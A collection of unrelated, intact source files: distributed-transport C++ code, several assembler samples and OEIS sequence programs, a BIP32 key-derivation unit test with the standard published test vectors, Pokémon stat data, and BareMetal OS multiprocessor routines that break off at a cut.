std::thread t([this]{
cudaSetDevice(0);
this->check_progress();
});
t.detach();
}
void ucp_progress_manager::add_recv_request(char * request, std::function<void()> callback, ucs_status_t status){
if(status == UCS_OK){
delete request;
callback();
}else{
std::lock_guard<std::mutex> lock(request_mutex);
recv_requests.insert({request, callback});
cv.notify_all();
}
}
void ucp_progress_manager::add_send_request(char * request, std::function<void()> callback, ucs_status_t status){
// if(status == UCS_OK){
// delete request;
// callback();
// }else{
std::lock_guard<std::mutex> lock(request_mutex);
send_requests.insert({request, callback});
cv.notify_all();
// }
}
void ucp_progress_manager::check_progress(){
try {
while(true){
std::set<request_struct> cur_send_requests;
std::set<request_struct> cur_recv_requests;
{
CodeTimer blazing_timer;
std::unique_lock<std::mutex> lock(request_mutex);
cv.wait_for(lock,5ms,[this]{
return (send_requests.size() + recv_requests.size()) > 0;
});
cur_send_requests = send_requests;
cur_recv_requests = recv_requests;
}
ucp_worker_progress(ucp_worker);
for(const auto & req_struct : cur_send_requests){
auto status = ucp_request_check_status(req_struct.request + _request_size);
if (status == UCS_OK){
req_struct.callback();
{
std::lock_guard<std::mutex> lock(request_mutex);
this->send_requests.erase(req_struct);
}
delete req_struct.request;
} else if (status != UCS_INPROGRESS){
throw std::runtime_error("Communication error in check_progress for send_requests.");
}
}
for(const auto & req_struct : cur_recv_requests){
auto status = ucp_request_check_status(req_struct.request + _request_size);
if (status == UCS_OK){
req_struct.callback();
{
std::lock_guard<std::mutex> lock(request_mutex);
this->recv_requests.erase(req_struct);
}
delete req_struct.request;
}else if (status != UCS_INPROGRESS){
throw std::runtime_error("Communication error in check_progress for recv_requests.");
}
}
}
} catch(std::exception & e){
std::shared_ptr<spdlog::logger> logger = spdlog::get("batch_logger");
if (logger){
logger->error("|||{info}|||||",
"info"_a="ERROR in ucp_progress_manager::check_progress() here. What: {}"_format(e.what()));
}
throw;
}
}
void graphs_info::register_graph(int32_t ctx_token, std::shared_ptr<ral::cache::graph> graph){
_ctx_token_to_graph_map.insert({ctx_token, graph});
}
void graphs_info::deregister_graph(int32_t ctx_token){
if(_ctx_token_to_graph_map.find(ctx_token) != _ctx_token_to_graph_map.end()){
_ctx_token_to_graph_map[ctx_token]->clear_kernels();
_ctx_token_to_graph_map.erase(ctx_token);
} else{
// std::cout<<"did not clear kernels "<<ctx_token<<std::endl;
}
}
std::shared_ptr<ral::cache::graph> graphs_info::get_graph(int32_t ctx_token) {
if(_ctx_token_to_graph_map.find(ctx_token) == _ctx_token_to_graph_map.end()){
return nullptr;
}
return _ctx_token_to_graph_map.at(ctx_token);
}
ucx_buffer_transport::ucx_buffer_transport(size_t request_size,
ucp_worker_h origin_node,
std::vector<node> destinations,
ral::cache::MetadataDictionary metadata,
std::vector<size_t> buffer_sizes,
std::vector<blazingdb::transport::ColumnTransport> column_transports,
std::vector<ral::memory::blazing_chunked_column_info> chunked_column_infos,
int ral_id,
bool require_acknowledge)
: buffer_transport(metadata, buffer_sizes, column_transports, chunked_column_infos, destinations, require_acknowledge),
origin_node(origin_node), ral_id{ral_id}, _request_size{request_size}{
tag = generate_message_tag();
}
ucx_buffer_transport::~ucx_buffer_transport() {
}
std::atomic<int> atomic_message_id(0);
ucp_tag_t ucx_buffer_transport::generate_message_tag() {
auto current_message_id = atomic_message_id.fetch_add(1);
blazing_ucp_tag blazing_tag = {current_message_id, ral_id, 0U};
this->message_id = blazing_tag.message_id;
return *reinterpret_cast<ucp_tag_t *>(&blazing_tag);
}
void ucx_buffer_transport::send_begin_transmission() {
try {
std::shared_ptr<std::vector<char>> buffer_to_send = std::make_shared<std::vector<char>>(detail::serialize_metadata_and_transports_and_buffer_sizes(metadata, column_transports, chunked_column_infos, buffer_sizes));
int i = 0;
for(auto const & node : destinations) {
char * request = new char[_request_size];
//auto temp_tag = *reinterpret_cast<blazing_ucp_tag *>(&tag);
auto status = ucp_tag_send_nbr(
node.get_ucp_endpoint(), buffer_to_send->data(), buffer_to_send->size(), ucp_dt_make_contig(1), tag, request + _request_size);
status = ucp_request_check_status(request + _request_size);
if (!UCS_STATUS_IS_ERR(status)) {
ucp_progress_manager::get_instance()->add_send_request(request, [buffer_to_send, this]() mutable {
this->increment_begin_transmission();
},status);
}else {
throw std::runtime_error("Immediate Communication error in send_begin_transmission.");
}
i++;
}
reinterpret_cast<blazing_ucp_tag *>(&tag)->frame_id++;
} catch(std::exception & e){
std::shared_ptr<spdlog::logger> logger = spdlog::get("batch_logger");
if (logger){
logger->error("|||{info}|||||",
"info"_a="ERROR in ucx_buffer_transport::send_begin_transmission(). What: {}"_format(e.what()));
}
throw;
}
}
void ucx_buffer_transport::send_impl(const char * buffer, size_t buffer_size) {
try {
for (auto const &node : destinations) {
char *request = new char[_request_size];
auto status = ucp_tag_send_nbr(node.get_ucp_endpoint(),
buffer,
buffer_size,
ucp_dt_make_contig(1),
tag,
request + _request_size);
if ((status >= UCS_OK)) {
ucp_progress_manager::get_instance()->add_send_request(request, [this](){ this->increment_frame_transmission(); },status);
} else {
throw std::runtime_error("Immediate Communication error in send_impl.");
}
}
reinterpret_cast<blazing_ucp_tag *>(&tag)->frame_id++;
} catch(std::exception & e){
std::shared_ptr<spdlog::logger> logger = spdlog::get("batch_logger");
if (logger){
logger->error("|||{info}|||||",
"info"_a="ERROR in ucx_buffer_transport::send_impl. What: {}"_format(e.what()));
}
throw;
}
}
#define ACK_BUFFER_SIZE 40
void ucx_buffer_transport::receive_acknowledge(){
for(int i = 0; i < transmitted_acknowledgements.size(); i++){
char * request = new char[_request_size];
std::vector<char> data_buffer(sizeof(int));
char * data = new char[ACK_BUFFER_SIZE];
ucp_tag_t temp_tag = tag;
blazing_ucp_tag message_tag = *reinterpret_cast<blazing_ucp_tag *>(&temp_tag);
message_tag.frame_id = 0xFFFF;
auto status = ucp_tag_recv_nbr(origin_node,
data,
ACK_BUFFER_SIZE,
ucp_dt_make_contig(1),
temp_tag,
acknownledge_tag_mask,
request + _request_size);
status = ucp_request_check_status(request + _request_size);
if (!UCS_STATUS_IS_ERR(status)) {
ucp_progress_manager::get_instance()->add_recv_request(
request,
[data,this](){
bool found = false;
std::string node_address(data);
for(auto & destination : destinations){
if(destination.id() == node_address){
this->transmitted_acknowledgements[node_address] = true;
found = true;
this->completion_condition_variable.notify_one();
}
}
delete data;
if(!found ){
throw std::runtime_error("invalid ack tag");
}
}
,status);
} else {
throw std::runtime_error("Immediate Communication error in poll_begin_message_tag.");
}
}
}
tcp_buffer_transport::tcp_buffer_transport(
std::vector<node> destinations,
ral::cache::MetadataDictionary metadata,
std::vector<size_t> buffer_sizes,
std::vector<blazingdb::transport::ColumnTransport> column_transports,
std::vector<ral::memory::blazing_chunked_column_info> chunked_column_infos,
int ral_id,
ctpl::thread_pool<BlazingThread> * allocate_copy_buffer_pool,
bool require_acknowledge)
: buffer_transport(metadata, buffer_sizes, column_transports, chunked_column_infos, destinations,require_acknowledge),
ral_id{ral_id}, allocate_copy_buffer_pool{allocate_copy_buffer_pool} {
//Initialize connection to get
//metadata.print();
for(auto destination : destinations){
int socket_fd;
struct sockaddr_in address;
if ((socket_fd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
throw std::runtime_error("Could not open communication socket");
}
address.sin_family = AF_INET;
address.sin_port = htons(destination.port());
int error_code = inet_pton(AF_INET, destination.ip().c_str(), &address.sin_addr);
if(error_code <=0) // inet_pton returns 1 on success, 0 or -1 on fail
{
std::string node_info = "Index: " + std::to_string(destination.index()) + " Id: " + destination.id() + " IP: " + destination.ip() + " Port: " + std::to_string(destination.port());
throw std::runtime_error("Invalid Communication Address. Errno: " + std::to_string(errno) + " Could not get address of node " + node_info);
}
error_code = connect(socket_fd, (struct sockaddr *)&address, sizeof(address));
if (error_code < 0) // connect returns 0 on success, -1 on fail
{
std::string node_info = "Index: " + std::to_string(destination.index()) + " Id: " + destination.id() + " IP: " + destination.ip() + " Port: " + std::to_string(destination.port());
throw std::runtime_error("Invalid Communication Address could not connect to node. Errno: " + std::to_string(errno) + " Node is: " + node_info);
}
socket_fds.push_back(socket_fd);
}
}
void tcp_buffer_transport::send_begin_transmission(){
std::vector<char> buffer_to_send = detail::serialize_metadata_and_transports_and_buffer_sizes(metadata, column_transports, chunked_column_infos, buffer_sizes);
auto size_to_send = buffer_to_send.size();
for (auto socket_fd : socket_fds){
//write out begin_message_size
io::write_to_socket(socket_fd, &size_to_send ,sizeof(size_to_send));
io::write_to_socket(socket_fd, buffer_to_send.data(),buffer_to_send.size());
//io::read_from_socket(socket_fd,&status, sizeof(status_code));
//if(status != status_code::OK){
// throw std::runtime_error("Could not send begin transmission");
//}
increment_begin_transmission();
}
}
void tcp_buffer_transport::receive_acknowledge(){
for(auto & elem : transmitted_acknowledgements){
elem.second = true;
}
}
void tcp_buffer_transport::send_impl(const char * buffer, size_t buffer_size){
try{
for (auto socket_fd : socket_fds){
io::write_to_socket(socket_fd, buffer,buffer_size);
increment_frame_transmission();
}
}catch(const std::exception & e ){
std::shared_ptr<spdlog::logger> logger = spdlog::get("batch_logger");
if (logger){
logger->error("|||{info}|||||",
"info"_a="ERROR in tcp_buffer_transport::send_impl. What: {}"_format(e.what()));
}
throw;
}
}
tcp_buffer_transport::~tcp_buffer_transport(){
for (auto socket_fd : socket_fds){
close(socket_fd);
}
}
} // namespace comm
|
title Some more macro80 syntax
.Z80
.COMMENT $ Comments start with some random character,
and only end when that character is found again $
EXT ef1, ef2
ENTRY lf1, lf2
ORG 0x4000
start:
jr start
*EJECT 50
lf1:
ld a,(hl)
ret
lf2:
ld a,(de)
ret
.PRINTX | completed parsing the file |
END 0x4000 |
// Copyright (c) 2013-2018 The Bitcoin Core developers
// Copyright (c) 2017 The Raven Core developers
// Copyright (c) 2018 The Rito Core developers
// Copyright (c) 2020 The Ukcoin Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include <boost/test/unit_test.hpp>
#include "base58.h"
#include "key.h"
#include "uint256.h"
#include "util.h"
#include "utilstrencodings.h"
#include "test/test_ukcoin.h"
#include <string>
#include <vector>
struct TestDerivation
{
std::string pub;
std::string prv;
unsigned int nChild;
};
struct TestVector
{
std::string strHexMaster;
std::vector<TestDerivation> vDerive;
explicit TestVector(std::string strHexMasterIn) : strHexMaster(strHexMasterIn)
{}
TestVector &operator()(std::string pub, std::string prv, unsigned int nChild)
{
vDerive.push_back(TestDerivation());
TestDerivation &der = vDerive.back();
der.pub = pub;
der.prv = prv;
der.nChild = nChild;
return *this;
}
};
TestVector test1 =
TestVector("000102030405060708090a0b0c0d0e0f")
("xpub661MyMwAqRbcFtXgS5sYJABqqG9YLmC4Q1Rdap9gSE8NqtwybGhePY2gZ29ESFjqJoCu1Rupje8YtGqsefD265TMg7usUDFdp6W1EGMcet8",
"xprv9s21ZrQH143K3QTDL4LXw2F7HEK3wJUD2nW2nRk4stbPy6cq3jPPqjiChkVvvNKmPGJxWUtg6LnF5kejMRNNU3TGtRBeJgk33yuGBxrMPHi",
0x80000000)
("xpub68Gmy5EdvgibQVfPdqkBBCHxA5htiqg55crXYuXoQRKfDBFA1WEjWgP6LHhwBZeNK1VTsfTFUHCdrfp1bgwQ9xv5ski8PX9rL2dZXvgGDnw",
"xprv9uHRZZhk6KAJC1avXpDAp4MDc3sQKNxDiPvvkX8Br5ngLNv1TxvUxt4cV1rGL5hj6KCesnDYUhd7oWgT11eZG7XnxHrnYeSvkzY7d2bhkJ7",
1)
("xpub6ASuArnXKPbfEwhqN6e3mwBcDTgzisQN1wXN9BJcM47sSikHjJf3UFHKkNAWbWMiGj7Wf5uMash7SyYq527Hqck2AxYysAA7xmALppuCkwQ",
"xprv9wTYmMFdV23N2TdNG573QoEsfRrWKQgWeibmLntzniatZvR9BmLnvSxqu53Kw1UmYPxLgboyZQaXwTCg8MSY3H2EU4pWcQDnRnrVA1xe8fs",
0x80000002)
("xpub6D4BDPcP2GT577Vvch3R8wDkScZWzQzMMUm3PWbmWvVJrZwQY4VUNgqFJPMM3No2dFDFGTsxxpG5uJh7n7epu4trkrX7x7DogT5Uv6fcLW5",
"xprv9z4pot5VBttmtdRTWfWQmoH1taj2axGVzFqSb8C9xaxKymcFzXBDptWmT7FwuEzG3ryjH4ktypQSAewRiNMjANTtpgP4mLTj34bhnZX7UiM",
2)
("xpub6FHa3pjLCk84BayeJxFW2SP4XRrFd1JYnxeLeU8EqN3vDfZmbqBqaGJAyiLjTAwm6ZLRQUMv1ZACTj37sR62cfN7fe5JnJ7dh8zL4fiyLHV",
"xprvA2JDeKCSNNZky6uBCviVfJSKyQ1mDYahRjijr5idH2WwLsEd4Hsb2Tyh8RfQMuPh7f7RtyzTtdrbdqqsunu5Mm3wDvUAKRHSC34sJ7in334",
1000000000)
("xpub6H1LXWLaKsWFhvm6RVpEL9P4KfRZSW7abD2ttkWP3SSQvnyA8FSVqNTEcYFgJS2UaFcxupHiYkro49S8yGasTvXEYBVPamhGW6cFJodrTHy",
"xprvA41z7zogVVwxVSgdKUHDy1SKmdb533PjDz7J6N6mV6uS3ze1ai8FHa8kmHScGpWmj4WggLyQjgPie1rFSruoUihUZREPSL39UNdE3BBDu76",
0);
TestVector test2 =
TestVector("fffcf9f6f3f0edeae7e4e1dedbd8d5d2cfccc9c6c3c0bdbab7b4b1aeaba8a5a29f9c999693908d8a8784817e7b7875726f6c696663605d5a5754514e4b484542")
("xpub661MyMwAqRbcFW31YEwpkMuc5THy2PSt5bDMsktWQcFF8syAmRUapSCGu8ED9W6oDMSgv6Zz8idoc4a6mr8BDzTJY47LJhkJ8UB7WEGuduB",
"xprv9s21ZrQH143K31xYSDQpPDxsXRTUcvj2iNHm5NUtrGiGG5e2DtALGdso3pGz6ssrdK4PFmM8NSpSBHNqPqm55Qn3LqFtT2emdEXVYsCzC2U",
0)
("xpub69H7F5d8KSRgmmdJg2KhpAK8SR3DjMwAdkxj3ZuxV27CprR9LgpeyGmXUbC6wb7ERfvrnKZjXoUmmDznezpbZb7ap6r1D3tgFxHmwMkQTPH",
"xprv9vHkqa6EV4sPZHYqZznhT2NPtPCjKuDKGY38FBWLvgaDx45zo9WQRUT3dKYnjwih2yJD9mkrocEZXo1ex8G81dwSM1fwqWpWkeS3v86pgKt",
0xFFFFFFFF)
("xpub6ASAVgeehLbnwdqV6UKMHVzgqAG8Gr6riv3Fxxpj8ksbH9ebxaEyBLZ85ySDhKiLDBrQSARLq1uNRts8RuJiHjaDMBU4Zn9h8LZNnBC5y4a",
"xprv9wSp6B7kry3Vj9m1zSnLvN3xH8RdsPP1Mh7fAaR7aRLcQMKTR2vidYEeEg2mUCTAwCd6vnxVrcjfy2kRgVsFawNzmjuHc2YmYRmagcEPdU9",
1)
("xpub6DF8uhdarytz3FWdA8TvFSvvAh8dP3283MY7p2V4SeE2wyWmG5mg5EwVvmdMVCQcoNJxGoWaU9DCWh89LojfZ537wTfunKau47EL2dhHKon",
"xprv9zFnWC6h2cLgpmSA46vutJzBcfJ8yaJGg8cX1e5StJh45BBciYTRXSd25UEPVuesF9yog62tGAQtHjXajPPdbRCHuWS6T8XA2ECKADdw4Ef",
0xFFFFFFFE)
("xpub6ERApfZwUNrhLCkDtcHTcxd75RbzS1ed54G1LkBUHQVHQKqhMkhgbmJbZRkrgZw4koxb5JaHWkY4ALHY2grBGRjaDMzQLcgJvLJuZZvRcEL",
"xprvA1RpRA33e1JQ7ifknakTFpgNXPmW2YvmhqLQYMmrj4xJXXWYpDPS3xz7iAxn8L39njGVyuoseXzU6rcxFLJ8HFsTjSyQbLYnMpCqE2VbFWc",
2)
("xpub6FnCn6nSzZAw5Tw7cgR9bi15UV96gLZhjDstkXXxvCLsUXBGXPdSnLFbdpq8p9HmGsApME5hQTZ3emM2rnY5agb9rXpVGyy3bdW6EEgAtqt",
"xprvA2nrNbFZABcdryreWet9Ea4LvTJcGsqrMzxHx98MMrotbir7yrKCEXw7nadnHM8Dq38EGfSh6dqA9QWTyefMLEcBYJUuekgW4BYPJcr9E7j",
0);
TestVector test3 =
TestVector("4b381541583be4423346c643850da4b320e46a87ae3d2a4e6da11eba819cd4acba45d239319ac14f863b8d5ab5a0d0c64d2e8a1e7d1457df2e5a3c51c73235be")
("xpub661MyMwAqRbcEZVB4dScxMAdx6d4nFc9nvyvH3v4gJL378CSRZiYmhRoP7mBy6gSPSCYk6SzXPTf3ND1cZAceL7SfJ1Z3GC8vBgp2epUt13",
"xprv9s21ZrQH143K25QhxbucbDDuQ4naNntJRi4KUfWT7xo4EKsHt2QJDu7KXp1A3u7Bi1j8ph3EGsZ9Xvz9dGuVrtHHs7pXeTzjuxBrCmmhgC6",
0x80000000)
("xpub68NZiKmJWnxxS6aaHmn81bvJeTESw724CRDs6HbuccFQN9Ku14VQrADWgqbhhTHBaohPX4CjNLf9fq9MYo6oDaPPLPxSb7gwQN3ih19Zm4Y",
"xprv9uPDJpEQgRQfDcW7BkF7eTya6RPxXeJCqCJGHuCJ4GiRVLzkTXBAJMu2qaMWPrS7AANYqdq6vcBcBUdJCVVFceUvJFjaPdGZ2y9WACViL4L",
0);
void RunTest(const TestVector &test)
{
std::vector<unsigned char> seed = ParseHex(test.strHexMaster);
CExtKey key;
CExtPubKey pubkey;
key.SetSeed(seed.data(), seed.size());
pubkey = key.Neuter();
for (const TestDerivation &derive : test.vDerive)
{
unsigned char data[74];
key.Encode(data);
pubkey.Encode(data);
// Test private key
CUkcoinExtKey b58key;
b58key.SetKey(key);
BOOST_CHECK(b58key.ToString() == derive.prv);
CUkcoinExtKey b58keyDecodeCheck(derive.prv);
CExtKey checkKey = b58keyDecodeCheck.GetKey();
assert(checkKey == key); //ensure a base58 decoded key also matches
// Test public key
CUkcoinExtPubKey b58pubkey;
b58pubkey.SetKey(pubkey);
BOOST_CHECK(b58pubkey.ToString() == derive.pub);
CUkcoinExtPubKey b58PubkeyDecodeCheck(derive.pub);
CExtPubKey checkPubKey = b58PubkeyDecodeCheck.GetKey();
assert(checkPubKey == pubkey); //ensure a base58 decoded pubkey also matches
// Derive new keys
CExtKey keyNew;
BOOST_CHECK(key.Derive(keyNew, derive.nChild));
CExtPubKey pubkeyNew = keyNew.Neuter();
if (!(derive.nChild & 0x80000000))
{
// Compare with public derivation
CExtPubKey pubkeyNew2;
BOOST_CHECK(pubkey.Derive(pubkeyNew2, derive.nChild));
BOOST_CHECK(pubkeyNew == pubkeyNew2);
}
key = keyNew;
pubkey = pubkeyNew;
CDataStream ssPub(SER_DISK, CLIENT_VERSION);
ssPub << pubkeyNew;
BOOST_CHECK(ssPub.size() == 75);
CDataStream ssPriv(SER_DISK, CLIENT_VERSION);
ssPriv << keyNew;
BOOST_CHECK(ssPriv.size() == 75);
CExtPubKey pubCheck;
CExtKey privCheck;
ssPub >> pubCheck;
ssPriv >> privCheck;
BOOST_CHECK(pubCheck == pubkeyNew);
BOOST_CHECK(privCheck == keyNew);
}
}
BOOST_FIXTURE_TEST_SUITE(bip32_tests, BasicTestingSetup)
BOOST_AUTO_TEST_CASE(bip32_test_1)
{
BOOST_TEST_MESSAGE("Running BIP32 Test 1");
RunTest(test1);
}
BOOST_AUTO_TEST_CASE(bip32_test_2)
{
BOOST_TEST_MESSAGE("Running BIP32 Test 2");
RunTest(test2);
}
BOOST_AUTO_TEST_CASE(bip32_test_3)
{
BOOST_TEST_MESSAGE("Running BIP32 Test 3");
RunTest(test3);
}
BOOST_AUTO_TEST_SUITE_END()
|
format PE
entry main
section '.idata' data import readable
include "win32ax.inc"
library msvcrt, 'MSVCRT.DLL'
import msvcrt,\
printf, 'printf',\
scanf, 'scanf',\
puts, 'puts',\
getchar, 'getchar',\
exit, 'exit'
section '.data' data readable writable
new_line = 0Ah
_hello db "Hello!", new_line, "Please type a number: ", 0
_prompt2 db "Type another number: ", 0
_format_i db "%d", 0
_format_o db "Average of the number is %d", new_line, 0
_error db "Error!", new_line, 0
num1 dd ?
num2 dd ?
section '.text' code readable executable
;puts("Hello!\n...:");
main:
cinvoke puts, _hello
;scanf ("%d", &num1);
cinvoke scanf, _format_i, num1
cmp eax, 1
jne error
;puts
cinvoke puts, _prompt2
;scanf
cinvoke scanf, _format_i, num2
cmp eax, 1
jne error
;average
mov eax, [num1]
add eax, [num2]
shr eax, 1
;printf
cinvoke printf, _format_o, eax
;getch
cinvoke getchar
cinvoke getchar
;exit (o)
cinvoke exit, 0
error:
;puts _error
cinvoke puts, _error
;exit -1
cinvoke exit, -1
|
; A064650: a(n) = floor(a(n-1)/2) + a(n-2) with a(0)=1, a(1)=2.
; 1,2,2,3,3,4,5,6,8,10,13,16,21,26,34,43,55,70,90,115,147,188,241,308,395,505,647,828,1061,1358,1740,2228,2854,3655,4681,5995,7678,9834,12595,16131,20660,26461,33890,43406,55593,71202,91194,116799,149593,191595,245390,314290,402535,515557,660313,845713,1083169,1387297,1776817,2275705,2914669,3733039,4781188,6123633,7843004,10045135,12865571,16477920,21104531,27030185,34619623,44339996,56789621,72734806,93157024,119313318,152813683,195720159,250673762,321057040,411202282,526658181,674531372,863923867,1106493305,1417170519,1815078564,2324709801,2977433464,3813426533,4884146730,6255499898,8011896679,10261448237,13142620797,16832758635,21559000114,27612258692,35365129460,45294823422
mov $2,$0
mov $0,1
add $0,$2
mov $3,1
mov $4,2
lpb $0
sub $0,1
mov $1,$3
div $3,2
add $3,$4
mov $4,$1
lpe
mov $0,$1
|
#include <iostream>
using namespace std;
unsigned long long input,answer,count;
int main()
{
cin >> input;
for (int i=1;i<=input;i++)
{
count+=i;
count=(count%3);
if(count==0)
answer++;
}
cout << answer << endl;
}
|
bits 16
mov ax,[bx]
mov ax,[foo]
mov ax,[word foo]
mov ax,[dword foo]
mov ax,[ebx]
rep movsb
a16 rep movsb
a32 rep movsb
a32 mov ax,bx
bits 32
mov ax,[bx]
mov ax,[foo]
mov ax,[word foo]
mov ax,[dword foo]
mov ax,[ebx]
rep movsb
a16 rep movsb
a32 rep movsb
bits 64
mov ax,[rbx]
mov ax,[foo]
mov ax,[qword foo]
mov ax,[dword foo]
mov ax,[ebx]
rep movsb
a32 rep movsb
a64 rep movsb
foo:
|
; A047543: Numbers that are congruent to {3, 4, 7} mod 8.
; Submitted by Christian Krause
; 3,4,7,11,12,15,19,20,23,27,28,31,35,36,39,43,44,47,51,52,55,59,60,63,67,68,71,75,76,79,83,84,87,91,92,95,99,100,103,107,108,111,115,116,119,123,124,127,131,132,135,139,140,143,147,148,151,155,156,159
mul $0,36
div $0,27
mul $0,6
div $0,4
mul $0,8
div $0,6
add $0,3
|
; A131412: a(n) = n*(Fibonacci(n) - 1) + Fibonacci(n + 2) - 1.
; 1,2,7,15,32,62,117,214,385,683,1200,2092,3625,6250,10731,18359,31312,53258,90365,152990,258501,435987,734112,1234200,2072017,3474002,5817487,9730719,16258880,27139478,45258885,75408742,125538505,208828475,347119056,576580804,957085177,1587684538,2632173555,4361280455,7222280176,11953809122,19775163917,32698296110,54041857677,89277874467,147425850432,243347563824,401523371425,662264731298,1091931855895,1799734136367,2965347294560,4884300282350,8042547730581,13238967017974,21786533907217,35842639088843,58951330318320,96933264893020,159346048019401,261880061206282,430288310327547,706831320929495,1160844781754512,1906064202577082,3129022234722077,5135587787582654,8427224622978645
mov $1,1
mov $3,$0
mov $4,6
lpb $0,1
sub $0,1
mov $2,$1
add $2,6
sub $4,4
mov $1,$4
add $4,$2
add $4,$3
lpe
|
; A015237: a(n) = (2*n - 1)*n^2.
; 0,1,12,45,112,225,396,637,960,1377,1900,2541,3312,4225,5292,6525,7936,9537,11340,13357,15600,18081,20812,23805,27072,30625,34476,38637,43120,47937,53100,58621,64512,70785,77452,84525,92016,99937,108300,117117,126400,136161,146412,157165,168432,180225,192556,205437,218880,232897,247500,262701,278512,294945,312012,329725,348096,367137,386860,407277,428400,450241,472812,496125,520192,545025,570636,597037,624240,652257,681100,710781,741312,772705,804972,838125,872176,907137,943020,979837,1017600,1056321,1096012,1136685,1178352,1221025,1264716,1309437,1355200,1402017,1449900,1498861,1548912,1600065,1652332,1705725,1760256,1815937,1872780,1930797
mov $1,$0
mul $0,2
bin $0,2
mul $0,$1
|
/* This file is part of CosmoLattice, available at www.cosmolattice.net .
Copyright Daniel G. Figueroa, Adrien Florio, Francisco Torrenti and Wessel Valkenburg.
Released under the MIT license, see LICENSE.md. */
// File info: Main contributor(s): Adrien Florio, Year: 2019
#include "TempLat/lattice/algebra/complexalgebra/complexfieldsubtract.h"
namespace {
TempLat::TDDContainer<TempLat::ComplexFieldSubtractTester> test;
}
|
db 0 ; species ID placeholder
db 60, 50, 70, 140, 80, 80
; hp atk def spd sat sdf
db ELECTRIC, ELECTRIC ; type
db 60 ; catch rate
db 150 ; base exp
db NO_ITEM, NO_ITEM ; items
db GENDER_UNKNOWN ; gender ratio
db 20 ; step cycles to hatch
INCBIN "gfx/pokemon/electrode/front.dimensions"
db GROWTH_MEDIUM_FAST ; growth rate
dn EGG_MINERAL, EGG_MINERAL ; egg groups
db 70 ; happiness
; tm/hm learnset
tmhm TOXIC, HIDDEN_POWER, TAUNT, HYPER_BEAM, LIGHT_SCREEN, PROTECT, RAIN_DANCE, FRUSTRATION, THUNDERBOLT, THUNDER, RETURN, DOUBLE_TEAM, SHOCK_WAVE, TORMENT, FACADE, SECRET_POWER, REST, THIEF, CHARGE_BEAM, ENDURE, EXPLOSION, GIGA_IMPACT, FLASH, THUNDER_WAVE, GYRO_BALL, SLEEP_TALK, NATURAL_GIFT, SWAGGER, SUBSTITUTE, MAGNET_RISE, ROLLOUT, SIGNAL_BEAM, SNORE, SUCKER_PUNCH, SWIFT
; end
|
; =============================================================================
; BareMetal -- a 64-bit OS written in Assembly for x86-64 systems
; Copyright (C) 2008-2016 Return Infinity -- see LICENSE.TXT
;
; SMP Functions
; =============================================================================
; -----------------------------------------------------------------------------
; b_smp_reset -- Resets a CPU Core
; IN: AL = CPU #
; OUT: Nothing. All registers preserved.
; Note: This code resets an AP for set-up use only.
b_smp_reset:
push rdi
push rax
mov rdi, [os_LocalAPICAddress]
shl eax, 24 ; AL holds the CPU #, shift left 24 bits to get it into 31:24, 23:0 are reserved
mov [rdi+0x0310], eax ; Write to the high bits first
xor eax, eax ; Clear EAX, namely bits 31:24
mov al, 0x81 ; Execute interrupt 0x81
mov [rdi+0x0300], eax ; Then write to the low bits
pop rax
pop rdi
ret
; -----------------------------------------------------------------------------
; -----------------------------------------------------------------------------
; b_smp_wakeup -- Wake up a CPU Core
; IN: AL = CPU #
; OUT: Nothing. All registers preserved.
b_smp_wakeup:
push rdi
push rax
mov rdi, [os_LocalAPICAddress]
shl eax, 24 ; AL holds the CPU #, shift left 24 bits to get it into 31:24, 23:0 are reserved
mov [rdi+0x0310], eax ; Write to the high bits first
xor eax, eax ; Clear EAX, namely bits 31:24
mov al, 0x80 ; Execute interrupt 0x80
mov [rdi+0x0300], eax ; Then write to the low bits
pop rax
pop rdi
ret
; -----------------------------------------------------------------------------
; -----------------------------------------------------------------------------
; b_smp_wakeup_all -- Wake up all CPU Cores
; IN: Nothing.
; OUT: Nothing. All registers preserved.
b_smp_wakeup_all:
push rdi
push rax
mov rdi, [os_LocalAPICAddress]
xor eax, eax
mov [rdi+0x0310], eax ; Write to the high bits first
mov eax, 0x000C0080 ; Execute interrupt 0x80
mov [rdi+0x0300], eax ; Then write to the low bits
pop rax
pop rdi
ret
; -----------------------------------------------------------------------------
; -----------------------------------------------------------------------------
; b_smp_get_id -- Returns the APIC ID of the CPU that ran this function
; IN: Nothing
; OUT: RAX = CPU's APIC ID number, All other registers preserved.
b_smp_get_id:
push rsi
xor eax, eax
mov rsi, [os_LocalAPICAddress]
add rsi, 0x20 ; Add the offset for the APIC ID location
lodsd ; APIC ID is stored in bits 31:24
shr rax, 24 ; AL now holds the CPU's APIC ID (0 - 255)
pop rsi
ret
; -----------------------------------------------------------------------------
; -----------------------------------------------------------------------------
; b_smp_set -- Set a specific CPU to run code
; IN: RAX = Code address
; RDX = Data address
; RCX = CPU APIC ID
; OUT: RAX = 0 on error
b_smp_set:
push rdi
push rcx
mov rdi, os_cpu_work_table
shl rcx, 4
add rdi, rcx
mov rcx, [rdi]
cmp rcx, 0
jne b_smp_set_error
stosq
xchg rax, rdx
stosq
xchg rax, rdx
call b_smp_wakeup
b_smp_set_end:
pop rcx
pop rdi
ret
b_smp_set_error:
xor eax, eax
pop rcx
pop rdi
ret
; -----------------------------------------------------------------------------
; -----------------------------------------------------------------------------
; b_smp_get_work -- Returns a workload from the work table
; IN: Nothing
; OUT: RAX = Code addresss
; RDX = Variable address
b_smp_get_work:
push rsi
call b_smp_get_id
mov rsi, os_cpu_work_table
shl rax, 4
add rsi, rax
lodsq ; load code address
xchg rax, rdx
lodsq ; load data address
xchg rax, rdx
pop rsi
ret
; -----------------------------------------------------------------------------
; -----------------------------------------------------------------------------
; b_smp_config -- Just a stub for now
; IN: Nothing
; OUT: Nothing. All registers preserved.
b_smp_config:
ret
; -----------------------------------------------------------------------------
; -----------------------------------------------------------------------------
; b_smp_numcores -- Returns the number of cores in this computer
; IN: Nothing
; OUT: RAX = number of cores in this computer
b_smp_numcores:
xor eax, eax
mov ax, [os_NumCores]
ret
; -----------------------------------------------------------------------------
; -----------------------------------------------------------------------------
; b_smp_lock -- Attempt to lock a mutex
; IN: RAX = Address of lock variable
; OUT: Nothing. All registers preserved.
b_smp_lock:
bt word [rax], 0 ; Check if the mutex is free (Bit 0 cleared to 0)
jc b_smp_lock ; If not check it again
lock bts word [rax], 0 ; The mutex was free, lock the bus. Try to grab the mutex
jc b_smp_lock ; Jump if we were unsuccessful
ret ; Lock acquired. Return to the caller
; -----------------------------------------------------------------------------
; -----------------------------------------------------------------------------
; b_smp_unlock -- Unlock a mutex
